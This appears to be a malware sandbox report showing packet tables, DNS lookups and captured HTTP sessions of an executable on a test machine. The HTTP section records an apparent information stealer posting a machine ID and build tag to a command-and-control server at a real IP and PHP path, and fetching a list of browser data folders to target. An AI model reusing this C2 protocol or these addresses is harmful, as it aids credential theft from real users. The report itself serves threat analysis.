Nov 21, 2024 22:05:08.693106890 CET	49956	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:08.693124056 CET	443	49956	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:08.693581104 CET	49956	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:08.693584919 CET	443	49956	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:08.698293924 CET	443	49957	104.208.16.90	192.168.2.7
Nov 21, 2024 22:05:08.698617935 CET	49957	443	192.168.2.7	104.208.16.90
Nov 21, 2024 22:05:08.698633909 CET	443	49957	104.208.16.90	192.168.2.7
Nov 21, 2024 22:05:08.699714899 CET	443	49957	104.208.16.90	192.168.2.7
Nov 21, 2024 22:05:08.699776888 CET	49957	443	192.168.2.7	104.208.16.90
Nov 21, 2024 22:05:08.700028896 CET	49957	443	192.168.2.7	104.208.16.90
Nov 21, 2024 22:05:08.700092077 CET	443	49957	104.208.16.90	192.168.2.7
Nov 21, 2024 22:05:08.700155973 CET	49957	443	192.168.2.7	104.208.16.90
Nov 21, 2024 22:05:08.700165033 CET	443	49957	104.208.16.90	192.168.2.7
Nov 21, 2024 22:05:08.700221062 CET	49957	443	192.168.2.7	104.208.16.90
Nov 21, 2024 22:05:08.700309992 CET	443	49957	104.208.16.90	192.168.2.7
Nov 21, 2024 22:05:08.743470907 CET	49955	443	192.168.2.7	104.208.16.90
Nov 21, 2024 22:05:08.743479967 CET	443	49955	104.208.16.90	192.168.2.7
Nov 21, 2024 22:05:08.743510962 CET	49957	443	192.168.2.7	104.208.16.90
Nov 21, 2024 22:05:08.753041029 CET	443	49958	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:08.753551006 CET	49958	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:08.753578901 CET	443	49958	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:08.754004002 CET	49958	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:08.754009008 CET	443	49958	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:08.757560015 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.757638931 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.757814884 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.757885933 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.758683920 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.758759022 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.758783102 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.758826017 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.760850906 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.760889053 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.760924101 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.760943890 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.762991905 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.763065100 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.763091087 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.763117075 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.765151024 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.765214920 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.765223980 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.765305042 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.789443016 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.789521933 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.789572001 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.789668083 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.790344954 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.790426970 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.790553093 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.790621996 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.790931940 CET	49955	443	192.168.2.7	104.208.16.90
Nov 21, 2024 22:05:08.792104006 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.792156935 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.792758942 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.792823076 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.793093920 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.793195009 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.794606924 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.794682026 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.794719934 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.794719934 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.796379089 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.796451092 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.796462059 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.796622038 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.798109055 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.798199892 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.798327923 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.798527002 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.799853086 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.799942970 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.800024033 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.800174952 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.801630974 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.801759958 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.802164078 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.802284002 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.803426981 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.803482056 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.803503990 CET	49953	80	192.168.2.7	185.215.113.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 21, 2024 22:04:34.111555099 CET	192.168.2.7	1.1.1.1	0x5f68	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 22:04:34.111757040 CET	192.168.2.7	1.1.1.1	0x8493	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 21, 2024 22:04:40.919085979 CET	192.168.2.7	1.1.1.1	0x254f	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 22:04:40.919593096 CET	192.168.2.7	1.1.1.1	0x49a7	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 21, 2024 22:04:44.652229071 CET	192.168.2.7	1.1.1.1	0xacd8	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 22:04:44.652580976 CET	192.168.2.7	1.1.1.1	0xc9fb	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 21, 2024 22:04:48.289968967 CET	192.168.2.7	1.1.1.1	0xbdc2	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 21, 2024 22:04:48.290435076 CET	192.168.2.7	1.1.1.1	0x4673	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 21, 2024 22:04:48.600588083 CET	192.168.2.7	1.1.1.1	0x6cc1	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 22:04:48.600883007 CET	192.168.2.7	1.1.1.1	0x6dbc	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 21, 2024 22:04:48.999377012 CET	192.168.2.7	1.1.1.1	0x394f	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 22:04:48.999727011 CET	192.168.2.7	1.1.1.1	0x21a9	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 21, 2024 22:04:49.000032902 CET	192.168.2.7	1.1.1.1	0x2a84	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 22:04:49.000222921 CET	192.168.2.7	1.1.1.1	0x74a6	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 21, 2024 22:04:49.008519888 CET	192.168.2.7	1.1.1.1	0xe01c	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 22:04:49.008651018 CET	192.168.2.7	1.1.1.1	0x5629	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 21, 2024 22:04:49.112858057 CET	192.168.2.7	1.1.1.1	0x354c	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 22:04:49.113078117 CET	192.168.2.7	1.1.1.1	0x6f7b	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 21, 2024 22:04:49.122555971 CET	192.168.2.7	1.1.1.1	0x599f	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 22:04:49.122956038 CET	192.168.2.7	1.1.1.1	0x1d2	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 21, 2024 22:04:49.257457018 CET	192.168.2.7	1.1.1.1	0x5985	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 22:04:49.257796049 CET	192.168.2.7	1.1.1.1	0x284e	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 21, 2024 22:04:49.392518044 CET	192.168.2.7	1.1.1.1	0x3e69	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 22:04:49.392918110 CET	192.168.2.7	1.1.1.1	0x496e	Standard query (0)	api.msn.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 21, 2024 22:04:13.514257908 CET	1.1.1.1	192.168.2.7	0xe0cb	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 22:04:13.514257908 CET	1.1.1.1	192.168.2.7	0xe0cb	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 21, 2024 22:04:34.249995947 CET	1.1.1.1	192.168.2.7	0x8493	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 21, 2024 22:04:34.250591993 CET	1.1.1.1	192.168.2.7	0x5f68	No error (0)	www.google.com		142.250.181.100	A (IP address)	IN (0x0001)	false
Nov 21, 2024 22:04:41.055794954 CET	1.1.1.1	192.168.2.7	0x254f	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 22:04:41.055794954 CET	1.1.1.1	192.168.2.7	0x254f	No error (0)	plus.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Nov 21, 2024 22:04:41.057209015 CET	1.1.1.1	192.168.2.7	0x49a7	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 22:04:44.789380074 CET	1.1.1.1	192.168.2.7	0xacd8	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 22:04:44.790980101 CET	1.1.1.1	192.168.2.7	0xc9fb	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 22:04:44.794065952 CET	1.1.1.1	192.168.2.7	0xfba	No error (0)	svc.ha-teams.office.com	mira-tmc.tm-4.office.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 22:04:45.334022045 CET	1.1.1.1	192.168.2.7	0x8158	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 22:04:45.334022045 CET	1.1.1.1	192.168.2.7	0x8158	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 21, 2024 22:04:45.356733084 CET	1.1.1.1	192.168.2.7	0x20aa	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 22:04:48.428745031 CET	1.1.1.1	192.168.2.7	0xbdc2	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 22:04:48.428939104 CET	1.1.1.1	192.168.2.7	0x4673	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 22:04:48.739408016 CET	1.1.1.1	192.168.2.7	0x6dbc	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 22:04:48.739427090 CET	1.1.1.1	192.168.2.7	0x6cc1	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 22:04:48.739427090 CET	1.1.1.1	192.168.2.7	0x6cc1	No error (0)	googlehosted.l.googleusercontent.com		172.217.19.225	A (IP address)	IN (0x0001)	false
Nov 21, 2024 22:04:49.136950016 CET	1.1.1.1	192.168.2.7	0x394f	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 21, 2024 22:04:49.136950016 CET	1.1.1.1	192.168.2.7	0x394f	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 21, 2024 22:04:49.136971951 CET	1.1.1.1	192.168.2.7	0x21a9	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 21, 2024 22:04:49.137111902 CET	1.1.1.1	192.168.2.7	0x74a6	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 21, 2024 22:04:49.139029980 CET	1.1.1.1	192.168.2.7	0x2a84	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 21, 2024 22:04:49.139029980 CET	1.1.1.1	192.168.2.7	0x2a84	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 21, 2024 22:04:49.145210028 CET	1.1.1.1	192.168.2.7	0xe01c	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 21, 2024 22:04:49.145210028 CET	1.1.1.1	192.168.2.7	0xe01c	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 21, 2024 22:04:49.145817995 CET	1.1.1.1	192.168.2.7	0x5629	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 21, 2024 22:04:49.251221895 CET	1.1.1.1	192.168.2.7	0x354c	No error (0)	sb.scorecardresearch.com		18.165.220.110	A (IP address)	IN (0x0001)	false
Nov 21, 2024 22:04:49.251221895 CET	1.1.1.1	192.168.2.7	0x354c	No error (0)	sb.scorecardresearch.com		18.165.220.57	A (IP address)	IN (0x0001)	false
Nov 21, 2024 22:04:49.251221895 CET	1.1.1.1	192.168.2.7	0x354c	No error (0)	sb.scorecardresearch.com		18.165.220.106	A (IP address)	IN (0x0001)	false
Nov 21, 2024 22:04:49.251221895 CET	1.1.1.1	192.168.2.7	0x354c	No error (0)	sb.scorecardresearch.com		18.165.220.66	A (IP address)	IN (0x0001)	false
Nov 21, 2024 22:04:49.260612011 CET	1.1.1.1	192.168.2.7	0x1d2	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 22:04:49.263714075 CET	1.1.1.1	192.168.2.7	0x599f	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 22:04:49.394639969 CET	1.1.1.1	192.168.2.7	0x5985	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 22:04:49.395292044 CET	1.1.1.1	192.168.2.7	0x284e	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 22:04:49.530119896 CET	1.1.1.1	192.168.2.7	0x3e69	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 22:04:49.531084061 CET	1.1.1.1	192.168.2.7	0x496e	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49722	185.215.113.206	80	7840	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 22:04:24.804836035 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 21, 2024 22:04:26.244776964 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 21, 2024 22:04:26.248363018 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBGCBKFBGIIIECAAAKFC Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 47 43 42 4b 46 42 47 49 49 49 45 43 41 41 41 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 44 46 44 44 32 45 35 35 41 39 32 31 32 37 33 37 30 37 38 35 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 42 4b 46 42 47 49 49 49 45 43 41 41 41 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 42 4b 46 42 47 49 49 49 45 43 41 41 41 4b 46 43 2d 2d 0d 0a Data Ascii: ------CBGCBKFBGIIIECAAAKFCContent-Disposition: form-data; name="hwid"90DFDD2E55A92127370785------CBGCBKFBGIIIECAAAKFCContent-Disposition: form-data; name="build"mars------CBGCBKFBGIIIECAAAKFC--
Nov 21, 2024 22:04:26.731832981 CET	407	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:26 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 44 41 32 5a 6d 4a 69 4e 57 5a 6a 4d 54 64 69 4d 54 51 35 5a 6d 4a 69 4d 6a 52 6c 4f 47 5a 6b 4e 47 46 6d 4d 44 59 31 59 7a 42 6d 4d 6a 64 6b 59 32 4d 33 5a 6a 49 32 4e 47 55 79 5a 54 52 68 4e 7a 46 6b 4e 54 59 77 4e 54 59 7a 5a 57 56 6b 4d 7a 67 7a 59 32 51 7a 4f 54 63 78 4e 44 6b 34 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: NDA2ZmJiNWZjMTdiMTQ5ZmJiMjRlOGZkNGFmMDY1YzBmMjdkY2M3ZjI2NGUyZTRhNzFkNTYwNTYzZWVkMzgzY2QzOTcxNDk4fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 21, 2024 22:04:26.740210056 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGDHDHJEBGHJKFIECBGC Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 30 36 66 62 62 35 66 63 31 37 62 31 34 39 66 62 62 32 34 65 38 66 64 34 61 66 30 36 35 63 30 66 32 37 64 63 63 37 66 32 36 34 65 32 65 34 61 37 31 64 35 36 30 35 36 33 65 65 64 33 38 33 63 64 33 39 37 31 34 39 38 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 43 2d 2d 0d 0a Data Ascii: ------CGDHDHJEBGHJKFIECBGCContent-Disposition: form-data; name="token"406fbb5fc17b149fbb24e8fd4af065c0f27dcc7f264e2e4a71d560563eed383cd3971498------CGDHDHJEBGHJKFIECBGCContent-Disposition: form-data; name="message"browsers------CGDHDHJEBGHJKFIECBGC--
Nov 21, 2024 22:04:27.206310034 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:26 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 21, 2024 22:04:27.206368923 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 21, 2024 22:04:27.208415031 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIJKKKFCFHCFIECBGDHI Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 30 36 66 62 62 35 66 63 31 37 62 31 34 39 66 62 62 32 34 65 38 66 64 34 61 66 30 36 35 63 30 66 32 37 64 63 63 37 66 32 36 34 65 32 65 34 61 37 31 64 35 36 30 35 36 33 65 65 64 33 38 33 63 64 33 39 37 31 34 39 38 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 2d 2d 0d 0a Data Ascii: 